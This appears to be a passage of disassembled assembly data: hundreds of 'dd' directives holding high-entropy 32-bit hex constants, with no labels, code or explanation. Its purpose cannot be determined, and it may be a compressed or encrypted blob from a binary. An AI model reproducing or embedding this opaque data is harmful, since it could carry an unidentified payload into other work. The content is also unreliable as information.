		dd 0C4F4C0F0h, 827EFFF9h, 0AA3CD805h, 9D82E43Fh, 0EB75602Eh
		dd 99FA00ABh, 24E920F8h, 210B2CF1h, 8B38F9F2h, 500990ACh
		dd 1FC4009Eh, 8960925Ch, 4012806h, 1102214Ah, 4FF0FF3Eh
		dd 780A0070h, 4E5B7A57h, 0FA16095Fh, 5001A1BBh,	97C9893Fh
		dd 0C60434h, 0C32DAE1h,	88609020h, 300B0F00h, 48493327h
		dd 0EA3B00D6h, 0E8ADF2Ch, 13F68D35h, 67A8A707h,	86317247h
		dd 9BE49187h, 0D3A603C4h, 0C5F3BAB0h, 0DAA0CF93h, 6A00E4F2h
		dd 424C0B8h, 0E4937h, 3C233BBEh, 4102672Dh, 0E74BC70Eh
		dd 8E5F4E55h, 73CF69h, 0D39BF485h, 0F3AF12CEh, 0CCB3C3B9h
		dd 0F7C0D1B3h, 382C1BF0h, 96050A27h, 8C8003C0h,	0E53A0Fh
		dd 28798A1h, 27CB3BBFh,	0EA47D800h, 193C9D61h, 3E560060h
		dd 0E974B272h, 8A003750h, 3F62E1A0h, 15D0770h, 75312E30h
		dd 0FCD31524h, 5213A24Bh, 760088E9h, 342B50E0h,	356D001Ch
		dd 0DDBF5C36h, 0D8005DCBh, 6144EADEh, 1E09537h,	60EDF332h
		dd 0C09C482Ch, 8700FB1Dh, 249F394Eh, 1E16C4E5h,	4083FAF0h
		dd 1525F33Bh, 1C3E2E84h, 0A6828095h, 7AFE50ADh,	0E87C00D0h
		dd 184A3EE0h, 4900E60Eh, 550BF1CFh, 0E940427h, 0C964B047h
		dd 0A41B78E0h, 303C810Fh, 0D14F8006h, 3D60286Bh, 170E00E3h
		dd 2F491F31h, 6E014841h, 863EAE68h, 0C0C48B2Dh,	0FA50BF07h
		dd 100E4E2h, 0E86C18A0h, 0E2ECA3h, 22F4FDF0h, 3A3E3339h
		dd 983B8000h, 0EE3DB33Ch, 3409000Eh, 0E14A492Eh, 0D2E6943Eh
		dd 0F1D7E904h, 80C060EAh, 7DA15B72h, 0BD903AAh,	8D3ACA6Ch
		dd 9F379600h, 0D78EB84Eh, 12F03DCFh, 43F100F0h,	936D391Dh
		dd 9901A392h, 7470CCB2h, 45CC3672h, 78981C76h, 805CF4E2h
		dd 87E38C78h, 4E3C8000h, 313D1642h, 0D4B40249h,	1B097E6Ch
		dd 64610040h, 0FFD9FA01h, 0D8C082E3h, 2496E0h, 8430170Bh
		dd 38A0DE3Bh, 0E8FF3Dh
		dd 1DF612F2h, 0FE27FAh,	0F437B02Dh, 0B25AF849h,	734A6601h
		dd 0E2922E09h, 0CA54B07Ah, 3AD5F939h, 0FBFA00E7h, 28203581h
		dd 48A8001Ch, 504F7AB2h, 5801BA09h, 14642641h, 1D6424A6h
		dd 3F6098ACh, 2C13B4C9h, 3C2503BCh, 25903FCCh, 2A0014ECh
		dd 0AEB00472h, 4A0C76h,	18320F10h, 20CF1C8Fh, 284C9DE5h
		dd 34C82C81h, 60C85C9Fh, 0C2640093h, 0F0786CEEh, 5E75747Eh
		dd 0E18088C0h, 72F988F6h, 7690748Ch, 0D39C7894h, 0C8630080h
		dd 0FCD0E864h, 0B892D400h, 0E04DDC7Eh, 67983Ah,	1007EC2Dh
		dd 0E4F8E7F4h, 42D3FC00h, 0A22C9324h, 2E91C30h,	0F13CC038h
		dd 6844F940h, 66011C4Eh, 10542E50h, 5CA05344h, 0F498F090h
		dd 1F52949Ch, 9FA89FA4h, 92B085ACh, 0BCA203B4h,	5AF1C0C9h
		dd 0F3FF31C8h, 0DCEBF0C9h, 10010F1Bh, 83840B3Ah, 0DC42C29h
		dd 3D604D1h, 803E873Ch,	5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h
		dd 0FEBC7E38h, 0F3EE1EBAh, 3F0280F2h, 66013142h, 0C8986C00h
		dd 37DEFB50h, 741A0172h, 0D7C4A78h, 69B03084h, 0D62D8A0Fh
		dd 0EBFB0007h, 5407849h, 0F03C6E68h, 4BC68070h,	0E7B0212Dh
		dd 0B745AB03h, 98D662D3h, 2DEFE2E3h, 6F004EE8h,	0F8895961h
		dd 587E3C5Ch, 7E5C59h, 3D0283DDh, 0AB9322h, 0A73E19A0h
		dd 27E8CAE4h, 33033FE2h, 67521687h, 0A593A873h,	700827B5h
		dd 0E000E674h, 0C77230F8h, 68D4004Dh, 5731130Eh, 0C1016349h
		dd 0B3E182A2h, 7F49038h, 4E560032h, 331883D7h, 88739250h
		dd 0B300667Ah, 8FD2300Fh, 0FBCFE6h, 0EC2708C9h,	0E0224418h
		dd 0B62C4BE4h, 9F005CAAh, 836F9769h, 0F39D1C6Ch, 0F2AD80A7h
		dd 4A0AF8B8h, 3C3EC57Dh, 0BFD9BFD3h, 51ECBBE1h,	0AA9D60C0h
		dd 74077202h, 6015760Dh, 5217A74h, 2F7E297Ch, 0C0D11CCFh
		dd 274BC945h, 0E7395DF6h, 0F4720065h, 8AF8927Eh, 0AEF20049h
		dd 0FCBAEA24h, 13F8BCC2h, 1682DD01h, 49B8D8F8h,	583BDAD4h
		dd 3D385225h, 0D64B2483h, 0C05E639Fh, 0F79E90Fh, 8F874F7Fh
		dd 0C09DCF8Fh, 49B592A7h, 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h
		dd 0D06CF3B0h, 12E38h, 1E13E2A6h, 14FDC17h, 28823302h
		dd 0F8508F38h, 39000A16h, 0C46EC31Ch, 163A18B0h, 10E4D1h
		dd 142E8615h, 7F0B96EEh, 0D6BC83h, 0E4CF3D80h, 3E2D000Bh
		dd 36740417h, 29029EB0h, 3A533F39h, 35E0FF5Fh, 44001C7Eh
		dd 0F9C0C30h, 398595DBh, 8C80FF60h, 86B18284h, 44070292h
		dd 0E15C1449h, 88F981AFh, 1670092Ah, 4F221D50h,	0A08EC798h
		dd 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h, 72692CD8h
		dd 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h,	92620026h
		dd 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h, 7BE0024h
		dd 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h, 0E01CD722h
		dd 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h, 60A414C0h
		dd 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h, 6CE868E6h
		dd 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh, 5F343CD0h
		dd 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh, 0D3430462h
		dd 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h, 80623900h
		dd 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh, 0A300B734h
		dd 3D43B0BBh, 207E49Fh,	3A1A3E48h, 2740240Fh, 1F71FAACh
		dd 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h, 5780BC08h
		dd 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch,	0F19402E9h
		dd 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah,	3C9100D9h
		dd 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah,	0F42CF028h
		dd 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h, 12140037h
		dd 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h, 0CF39C307h
		dd 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah, 3C703389h
		dd 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h,	0F5F2583Bh
		dd 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h, 63A5FC87h
		dd 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h, 1D720201h
		dd 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h, 94004974h
		dd 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh, 3A51F60Eh
		dd 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h, 0CEBAE680h
		dd 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h,	37E0018Eh
		dd 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h, 213B121Fh
		dd 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh, 43FA0729h
		dd 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch,	0BF0293B3h
		dd 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h, 0DF4AD378h
		dd 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh, 0B8C9AB30h
		dd 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh, 0FCBC7AD2h
		dd 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h, 83A295D5h
		dd 3F2F7A0h, 740068F0h,	783E9822h, 574946h, 259B3FA8h
		dd 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h, 3904F0F5h
		dd 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h, 406E3CAAh
		dd 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh, 167C0094h
		dd 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h,	2DED78E1h
		dd 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h,	0C08C5056h
		dd 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h, 0CDB8FDh
		dd 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h, 7F13BE9h
		dd 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h, 0F4E7EB88h
		dd 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h, 22A95Bh
		dd 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h, 8C084C78h
		dd 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh, 5D3E0157h
		dd 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h, 0DA4F1FEAh
		dd 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh, 80E79FA4h
		dd 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h, 58B88EC9h
		dd 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h,	48058F80h
		dd 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h, 0A044128Eh
		dd 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h, 28050790h
		dd 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch,	0ADCBA390h
		dd 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah, 2B78C96Dh
		dd 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h,	3A1939ECh
		dd 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh, 96351EC9h
		dd 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh, 6F2FD30h
		dd 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h, 5F1DFF4Ch
		dd 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch, 22C12EB3h
		dd 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h, 0F575AF8h
		dd 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h, 38390008h
		dd 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch, 2C918C2h
		dd 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h, 0FE60D353h
		dd 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h, 70D0FDF2h
		dd 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh, 0EC18B25h
		dd 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h, 20B449EAh
		dd 0C02CEA3Bh, 0F416Fh,	61574B4Dh, 93F985FAh, 2C6440C0h
		dd 197ECh, 173C07A2h, 41D122C9h, 2452D900h, 0C4926FC8h
		dd 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh, 0BD3C3Bh
		dd 0C1C725C2h, 0F9D11C60h
		dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h,	133F0AC2h
		dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
		dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh,	760EC359h
		dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
		dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
		dd 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h,	0C314034Fh
		dd 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h, 486E2D2Ah
		dd 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh
		dd 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh,	0D9F641C1h
		dd 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h, 2E0591B0h
		dd 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah,	84321E36h
		dd 0F840563Bh, 22824Ch,	4F2A7063h, 8EF60F7Ch, 98CF39h
		dd 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h,	0B3329201h
		dd 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h, 0E2F8F641h
		dd 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h,	0C69049B2h
		dd 924D7F9h, 859FEDD6h,	5AFE9170h, 8056B03Ah, 0F8A6F490h
		dd 9A94ABh, 0AAA0D813h,	773A394Eh, 3E1E59F0h, 4C0EC49h
		dd 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h, 8E76B857h
		dd 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h, 5B133C9Dh
		dd 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h,	84629F96h
		dd 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h, 0CFA2E80Fh
		dd 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h,	4A384929h
		dd 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h, 0D26CCB00h
		dd 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h, 8756C23Bh
		dd 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h, 95DF140h
		dd 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh, 3DB43CA5h
		dd 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh, 1E3F4DFh
		dd 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h, 0FD000D3Fh
		dd 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h,	4EC05881h
		dd 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh,	0E4000982h
		dd 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh, 0C26B9200h
		dd 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h,	1000D9BDh
		dd 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h, 351A8500h
		dd 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h, 0C8C50C17h
		dd 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h, 0C5FEA7A9h
		dd 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh,	0C08CF872h
		dd 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h, 0A27E3A40h
		dd 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h, 987A9CD8h
		dd 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh,	3D613C4Dh
		dd 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch, 6CAB9Ch
		dd 9302F624h, 8600C218h, 0C0E48457h, 9085E808h,	4E5D2C33h
		dd 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h, 0A4392EDDh
		dd 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h, 2171FE4Dh
		dd 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh, 36E9A300h
		dd 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh, 4C35272Dh
		dd 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h, 0E5A31C00h
		dd 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh, 80508BB5h
		dd 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h, 0C23B3A84h
		dd 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh, 0CA2D603Fh
		dd 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh, 44F6C838h
		dd 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h, 0DC9270E8h
		dd 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h,	0E1ECB1E8h
		dd 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h,	9EA81D60h
		dd 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h, 9EC669D7h
		dd 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh, 0CE0F7E49h
		dd 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h, 0BC6B4466h
		dd 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h, 0F0E947B2h
		dd 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h, 0BE443EC2h
		dd 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah
		dd 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h, 2AE4D68Eh
		dd 3D030013h, 260F097h,	7D003E2Fh, 3F217081h, 4386C29h
		dd 4C26453Bh, 500ABAEh,	0C811E088h, 39EA015Ch, 2D663A2Fh
		dd 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h, 0F07E3409h
		dd 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h, 0F8009E1Ch
		dd 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h, 5EFCF04Dh
		dd 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch,	0DC4B7B7Ch
		dd 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h, 0CC38C003h
		dd 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h, 0E82972E0h
		dd 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h,	0CC4C68D6h
		dd 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h,	0EF8020E9h
		dd 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh, 0D6282CE0h
		dd 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h,	3A49D93Eh
		dd 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh, 0C4B88098h
		dd 0DAC954h, 50859DD3h,	15CAE0DDh, 2931260Fh, 92626088h
		dd 0AE8276h, 2C7C7E9Eh,	3249017Ah, 4D334200h, 0EC3C80C9h
		dd 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h, 0DA300964h
		dd 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h,	169E5E1Dh
		dd 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h,	69385C12h
		dd 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh, 0C390516h
		dd 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h,	0C968660Fh
		dd 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h,	0E6724009h
		dd 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h, 2A8E3F4Bh
		dd 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h,	0AB0C1C0Bh
		dd 0D3E640h, 58C98D5Eh,	880E3C20h, 0A00965E4h, 0E3603E41h
		dd 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch, 0DE1C1072h
		dd 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h,	0D812EE0Bh
		dd 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh, 265081B7h
		dd 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h, 9682DC06h
		dd 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh, 0C8FA4D80h
		dd 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h, 0FCC7F8BCh
		dd 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h, 96849754h
		dd 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h, 745B7239h
		dd 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h,	46A2B92h
		dd 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh, 3D80099Fh
		dd 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch,	4DC19E83h
		dd 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h, 0B29D0043h
		dd 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h,	7724F080h
		dd 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h, 3CE42B24h
		dd 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh, 0E7F8FA07h
		dd 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh, 0A17207C0h
		dd 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h,	89951A00h
		dd 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h,	608E6163h
		dd 0B7E2B0A5h, 98879703h
		dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh,	2794DC09h
		dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h,	3772007Fh
		dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh,	2FFA002Dh
		dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh
		dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh,	7449176Ch
		dd 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h, 0EE300BA3h
		dd 3A7C32h, 0F916640Ch,	2F34B8FDh, 0C6610500h, 0E177310Dh
		dd 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh, 741C53Dh
		dd 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h, 76593h
		dd 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah, 0F77A48DEh
		dd 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h,	12B0D4h
		dd 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h,	87F84ACAh
		dd 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch,	0F413F68Bh
		dd 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah, 0B9935EE0h
		dd 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h
		dd 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h,	0C32A08E0h
		dd 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h, 79FBD0C7h
		dd 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h, 8416A29Ch
		dd 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h, 88D860C9h
		dd 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh, 0F0686F40h
		dd 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h, 2FE60078h
		dd 9404418Ch, 65A2E7Ah,	0E3C0F5C3h, 760CE2C4h, 0E8E2840h
		dd 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h,	94A87C78h
		dd 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch,	0AAAC01A4h
		dd 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h, 0B8E884D2h
		dd 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh, 6FB02CC1h
		dd 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h,	0F5C5A00h
		dd 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh,	0C04630F8h
		dd 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h, 0E285B778h
		dd 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh
		dd 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h,	4FDE00E4h
		dd 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h,	4F48D0B8h
		dd 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h, 28068480h
		dd 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h, 88B00F2Fh
		dd 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh
		dd 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h, 8490438h
		dd 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh, 162C9328h
		dd 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h, 4B854E4h
		dd 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh, 40E86090h
		dd 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah,	44BB18DEh
		dd 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h,	832E2FE9h
		dd 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh,	60897D31h
		dd 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h, 21FA4228h
		dd 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h, 0DF46EAA0h
		dd 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch,	7F8B3774h
		dd 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h, 57E35036h
		dd 850E0E8Dh, 7EF2C51h,	10AC3C0h, 2100409Ch, 2002B063h
		dd 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh,	57E100E0h
		dd 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh, 0B0CC02Ah
		dd 0A7A74DBh, 870003ECh, 89195985h, 318DF0h, 831171B5h
		dd 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h, 141EFC99h
		dd 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h,	51A0BB05h
		dd 2F29A03h, 6EBD8880h,	12D0070h, 85FE4C75h, 8B0F0940h
		dd 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h, 535651A3h
		dd 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh,	1A781C03h
		dd 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h, 0C3831E29h
		dd 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh, 36104837h
		dd 0F90CC1h, 8DA5F302h,	3C0377E1h, 535EA400h, 809C5088h
		dd 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h,	64E402A9h
		dd 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h,	0E8C1C200h
		dd 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh, 834E548Bh
		dd 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h,	9D7401FBh
		dd 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h, 79820FFFh
		dd 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh,	0B8E20200h
		dd 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch, 1539071h
		dd 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h,	29F016h
		dd 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h,	107AD8h
		dd 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h,	0A49900DBh
		dd 62F759A2h, 802501ECh, 0F0F475h, 5653C543h, 6500028Ah
		dd 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh,	0D28B57E0h
		dd 83659839h, 31342BC7h, 99E9D842h, 4939012Ah, 37DC3606h
		dd 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h,	3F7C0F63h
		dd 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h
		dd 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch, 0AF32E900h
		dd 4A2D06E7h, 710E892h,	0D9141C0Ah, 0FEEBF0C1h,	8500BA24h
		dd 0A4506544h, 735B483Dh, 100400C2h, 61022F11h,	0B81F0875h
		dd 0C402201h, 32BF54Bh,	1C9300C3h, 0B715588Dh, 0AC005051h
		dd 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h,	9400DB30h
		dd 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h,	0E1468961h
		dd 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh, 43A57729h
		dd 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h, 0AC4A4051h
		dd 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h,	68C598F0h
		dd 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h, 13B5A1Fh
